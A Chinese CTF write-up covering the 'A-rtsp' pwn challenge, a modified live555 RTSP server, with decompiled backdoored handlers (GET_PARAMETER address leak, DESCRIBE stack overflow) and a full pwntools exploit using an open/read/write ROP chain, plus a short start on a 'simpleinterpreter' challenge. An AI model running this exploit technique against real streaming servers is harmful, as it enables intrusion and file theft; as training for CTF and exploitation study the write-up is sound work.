A-rtsp

rtsp

通过搜索字符串rtsp可以知道采用的标准是rtsp1.0

对应的RFC是RFC 2326: Real Time Streaming Protocol (RTSP) (rfc-editor.org)

同时参考最详细的音视频流媒体传输协议-rtsp协议详解 - 知乎 (zhihu.com)这篇文章

rtsp协议是啥

RTSP全称实时流协议(Real Time Streaming Protocol),它是一个网络控制协议,设计用于娱乐、会议系统中控制流媒体服务器。RTSP用于在希望通讯的两端建立并控制媒体会话(session),客户端通过发出VCR-style命令如play、record和pause等来实时控制媒体流。

RTSP协议采用客户服务器(CS)方式工作

报文格式

RTSP客户端的请求格式

1
2
3
4
5
method url vesion\r\n
CSeq: x\r\n
xxx\r\n
...
\r\n
  • method:方法,表明这次请求的方法
  • url:格式一般为rtsp://ip:port/session,ip表主机ip,port表端口好,如果不写那么就是默认端口,rtsp的默认端口为554,session表明请求哪一个会话
  • version:表示rtsp的版本,现在为RTSP/1.0
  • CSeq:序列号,每个RTSP请求和响应都对应一个序列号,序列号是递增的

一个实例

请求方法有OPTIONS、DESCRIBE、SETUP、TEARDOWN、PLAY、PAUSE、GET_PARAMETER和SET_PARAMETER。

RTSP服务端的响应格式

1
2
3
4
5
vesion 200 OK\r\n
CSeq: x\r\n
xxx\r\n
...
\r\n
  • version:表示rtsp的版本,现在为RTSP/1.0
  • CSeq:序列号,这个必须与对应请求的序列号相同

状态码

  • 1xx:信息-已收到请求,正在继续处理
  • 2xx:成功-成功接收、理解和接受操作
  • 3xx:重定向-必须执行进一步操作才能完成请求
  • 4xx:客户端错误-请求包含错误语法或无法实现
  • 5xx:服务器错误-服务器未能完成明显有效的请求

更多可以另行学习,对于本题这些知识就够了

分析

程序ida打开,哦豁是c++写的,又需要万恶的c++逆向(不过总比rust和go要好)

万幸的是没有去除符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
__int64 (__fastcall *v4)(__int64, __int64); // r12
__int64 v5; // rax
__int64 v6; // rax
unsigned __int8 v7; // r8
ServerMediaSubsession *v8; // rax
__int64 v9; // rax
__int16 v11; // [rsp+14h] [rbp-4Ch] BYREF
char v12; // [rsp+17h] [rbp-49h]
ServerMediaSession *v13; // [rsp+18h] [rbp-48h]
UsageEnvironment *v14; // [rsp+20h] [rbp-40h]
UsageEnvironment *v15; // [rsp+28h] [rbp-38h]
char *v16; // [rsp+30h] [rbp-30h]
RTSPServer *v17; // [rsp+38h] [rbp-28h]
__int64 v18; // [rsp+40h] [rbp-20h]
BasicUsageEnvironment *New; // [rsp+48h] [rbp-18h]

New = (BasicUsageEnvironment *)BasicTaskScheduler::createNew(
(BasicTaskScheduler *)&stru_2708.r_info,
(unsigned int)argv);
env = (UsageEnvironment *)BasicUsageEnvironment::createNew(New, (TaskScheduler *)argv);
v18 = 0LL;
Port::Port((Port *)&v11, 0x216Au);
v17 = (RTSPServer *)RTSPServer::createNew(env, (unsigned __int16)v11, v18, 65LL);
if ( !v17 )
{
v3 = (*(__int64 (__fastcall **)(UsageEnvironment *, const char *))(*(_QWORD *)env + 72LL))(
env,
"Failed to create RTSP server: ");
v4 = *(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)v3 + 72LL);
v5 = (**(__int64 (__fastcall ***)(UsageEnvironment *))env)(env);
v6 = v4(v3, v5);
(*(void (__fastcall **)(__int64, const char *))(*(_QWORD *)v6 + 72LL))(v6, "\n");
exit(1);
}
v16 = "Session streamed by \"testOnDemandRTSPServer\"";
v15 = (UsageEnvironment *)"wavAudioTest";
v14 = (UsageEnvironment *)"test.wav";
v13 = (ServerMediaSession *)ServerMediaSession::createNew(
env,
(UsageEnvironment *)"wavAudioTest",
"wavAudioTest",
"Session streamed by \"testOnDemandRTSPServer\"",
0LL,
0,
(const char *)argv);
v12 = 0;
v8 = (ServerMediaSubsession *)WAVAudioFileServerMediaSubsession::createNew(
env,
v14,
(const char *)(unsigned __int8)reuseFirstSource,
0,
v7);
ServerMediaSession::addSubsession(v13, v8);
(*(void (__fastcall **)(RTSPServer *, ServerMediaSession *))(*(_QWORD *)v17 + 72LL))(v17, v13);
announceStream(v17, v13, (const char *)v15, (const char *)v14);
v9 = UsageEnvironment::taskScheduler(env);
(*(void (__fastcall **)(__int64, _QWORD))(*(_QWORD *)v9 + 56LL))(v9, 0LL);
return 0;
}

可以看到有很多没见过的类,搜索一下BasicTaskScheduler,找到关键词live555

继续搜索live555,基于Live555框架实现一个实时流媒体服务 - 知乎 (zhihu.com),可以知道live555是rtsp协议的一种实现

现在我们有两种办法向下继续分析

  1. 既然找到了live555开源项目,那么这类题一般都是在原有代码的基础上做一些修改,所以我们可以自己编译一个live555,然后通过bindiff来找到这些函数

  2. 第二种方法是比较看观察能力的,而且并不具备普适性,通过找到后门提示中的字符串来定位关键漏洞函数

    1
    2
    3
    .rodata:000000000007B39B	0000001C	C	100 maybe you need this %p\n
    .rodata:000000000007B3C8 00000022 C 100 you may want to get more flag
    .rodata:000000000007B40B 0000000C C vul_string:

总之关键就是在于定位到漏洞函数

在GET_PARAMETER中存在泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall RTSPServer::RTSPClientConnection::handleCmd_GET_PARAMETER(
RTSPServer::RTSPClientConnection *this,
const char *a2,
unsigned int a3)
{
char s[32]; // [rsp+20h] [rbp-100h] BYREF
char s1[215]; // [rsp+40h] [rbp-E0h] BYREF
char v7; // [rsp+117h] [rbp-9h]
unsigned int v8; // [rsp+118h] [rbp-8h]
unsigned int i; // [rsp+11Ch] [rbp-4h]

s1[0] = 0;
for ( i = 0; (int)(a3 - 9) > (int)i; ++i )
{
if ( !strncasecmp("GET_INFO:", &a2[i], 9uLL) )
{
for ( i += 9; i < a3 && (a2[i] == ' ' || a2[i] == 9); ++i )
;
v8 = 0;
while ( v8 <= 3 )
{
v7 = a2[i];
s1[v8++] = v7;
++i;
}
s1[v8] = 0;
break;
}
}
if ( strcmp(s1, "2023") )
return RTSPServer::RTSPClientConnection::setRTSPResponse(this, "100 you may want to get more flag", "2023.03.30");
memset(s, 0, 0x14uLL);
sprintf(s, "100 maybe you need this %p\n", &gift);
return RTSPServer::RTSPClientConnection::setRTSPResponse(this, s, "2023.03.30");
}

需要传输一个标签GET_INFO,值为2023

在DESCRIBE中存在栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
char __fastcall RTSPServer::RTSPClientConnection::handleCmd_DESCRIBE(
RTSPServer::RTSPClientConnection *this,
const char *a2,
const char *a3,
const char *a4)
{
int v4; // edx
char result; // al
char dest[406]; // [rsp+20h] [rbp-1A0h] BYREF
char v9; // [rsp+1B6h] [rbp-Ah]
char v10; // [rsp+1B7h] [rbp-9h]
int v11; // [rsp+1B8h] [rbp-8h]
int i; // [rsp+1BCh] [rbp-4h]

dest[0] = 0;
if ( *a2 )
{
strcat(dest, a2);
*(_WORD *)&dest[strlen(dest)] = 47;
}
strcat(dest, a3);
if ( *((_DWORD *)this + 10084) == 3 )
{
for ( i = 0; ; ++i )
{
v4 = strlen(a4) - 11;
result = i;
if ( v4 <= i )
break;
if ( !strncasecmp("vul_string:", &a4[i], 0xBuLL) )
{
i += 11;
v11 = strlen(dest) - 1;
while ( 1 )
{
v10 = a4[i];
v9 = a4[i + 1];
if ( v10 == 13 && v9 == 10 )
break;
dest[v11++] = v10;
++i;
}
result = v11;
dest[v11] = 0;
return result;
}
}
}
else
{
result = (unsigned __int8)RTSPServer::RTSPClientConnection::authenticationOK(this, "DESCRIBE", dest, a4) == 0;
if ( !result )
return (*(__int64 (__fastcall **)(_QWORD, char *, __int64 (__fastcall *)(RTSPServer::RTSPClientConnection *__hidden, void *, ServerMediaSession *), RTSPServer::RTSPClientConnection *, __int64))(**((_QWORD **)this + 1) + 80LL))(
*((_QWORD *)this + 1),
dest,
RTSPServer::RTSPClientConnection::DESCRIBELookupCompletionFunction,
this,
1LL);
}
return result;
}

但需要满足一个条件,即if ( *((_DWORD *)this + 10084) == 3 )

这个可以在SET_PARAMETER中实现,传输一个标签DESCRIBE_FLAG,值为flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall RTSPServer::RTSPClientConnection::handleCmd_SET_PARAMETER(
RTSPServer::RTSPClientConnection *this,
const char *a2,
unsigned int a3)
{
char s1[215]; // [rsp+20h] [rbp-E0h] BYREF
char v6; // [rsp+F7h] [rbp-9h]
int v7; // [rsp+F8h] [rbp-8h]
unsigned int i; // [rsp+FCh] [rbp-4h]

s1[0] = 0;
for ( i = 0; (int)(a3 - 14) > (int)i; ++i )
{
if ( !strncasecmp("DESCRIBE_FLAG:", &a2[i], 0xEuLL) )
{
for ( i += 14; i < a3 && (a2[i] == 32 || a2[i] == 9); ++i )
;
v7 = 0;
while ( i < a3 )
{
v6 = a2[i];
if ( v6 == 13 || v6 == 10 )
break;
s1[v7++] = v6;
++i;
}
s1[v7] = 0;
break;
}
}
if ( strcmp(s1, "qwb") )
return RTSPServer::RTSPClientConnection::setRTSPResponse(this, "200 OK");
*((_DWORD *)this + 10084) = 3;
return RTSPServer::RTSPClientConnection::setRTSPResponse(this, "202 OK");
}

最后就是栈溢出orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
from ctypes import *

# context(os = 'linux', arch = 'amd64', log_level = 'info')
context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context.terminal = ['tmux', 'splitw', '-h']

p = remote('127.0.0.1', 8554)
#p = remote("8.147.132.53",36720)
#p = process('./A-rtsp')
#-----------------------------------------------------------------------------------------
r = lambda : p.recv(4096)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
#-----------------------------------------------------------------------------------------

s(b'GET_PARAMETER rtsp://192.168.127.133:8554/* RTSP/1.0\r\nCSeq: 2\r\nGET_INFO: 2023\r\n\r\n')
baseaddr = int(rl("0\n'")[-15:],16)-0x2A9990
#codebase = rl("0\n'")
print(baseaddr)

s(b'SET_PARAMETER rtsp://192.168.127.133:8554/* RTSP/1.0\r\nDESCRIBE_FLAG: qwb\r\nCSeq: 2\r\nUser-Agent: fuck\r\n\r\n')

pop_rdi_ret = 0x000000000007b133+baseaddr
pop_rsi_ret=0x0000000000099fb0+baseaddr
pop_rdx_ret=0x0000000000019eaa+baseaddr
pop_rax_ret = 0x0000000000035e4a+baseaddr
syscall = 0x0000000000019eac+baseaddr

flag = baseaddr+0x7B3E5
#rop =pop_rax_ret+ p6(59)+ pop_rdi_ret + bin_sh + pop_rsi_ret + p64(0) + pop_rdx_ret + p64(0) + syscall_ret

rop=p64(pop_rdi_ret)+p64(flag)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall) #open
rop+=p64(pop_rdi_ret)+p64(6)+p64(pop_rsi_ret)+p64(baseaddr+0x2A9990)+p64(pop_rdx_ret)+p64(0x60)+p64(pop_rax_ret)+p64(0)+p64(syscall)
rop+=p64(pop_rdi_ret)+p64(5)+p64(pop_rsi_ret)+p64(baseaddr+0x2A9990)+p64(pop_rdx_ret)+p64(0x60)+p64(pop_rax_ret)+p64(1)+p64(syscall)

s(b'DESCRIBE rtsp://192.168.127.133:8554/' +b"a"*198+b"/"+b"a"*198+ b' RTSP/1.0\r\nvul_string:' + b'\xa7' *13 + rop + b'\r\nCSeq: 2\r\n\r\n')
data=r()
print(data)
irt()

最后一步还有一个最关键的点就是循环时的数组下标其也是在溢出范围内的,所以溢出时需要对其进行恢复,否则就会出错

在有些wp中提到在进行其他操作之前,需要先进行一次SETUP方法调用,来拿到一个session

但实际上这应该是常规协议的要求,因为题目代码的魔改,其实不用也行

此外还要注意这类与端口交互的题目,写flag都要写到sockfd上,这样才能被接收,至于如何找到这个fd,最简单粗暴的方法就是一个一个遍历了

拾遗

这类题目重点在于查找信息

找到关键的题目源码,协议使用标准

最后找到题目被修改后潜藏漏洞的点,否则纯靠逆向,狗都不逆了属于是

simpleinterpreter

一道解释器题目

看wp说github上有源码,可惜没找到

从字符串可以看出支持的功能有以下这些

1
.rodata:0000000000003FC8	00000065	C	char else enum if int return sizeof while read close printf malloc free memset memcmp exit void main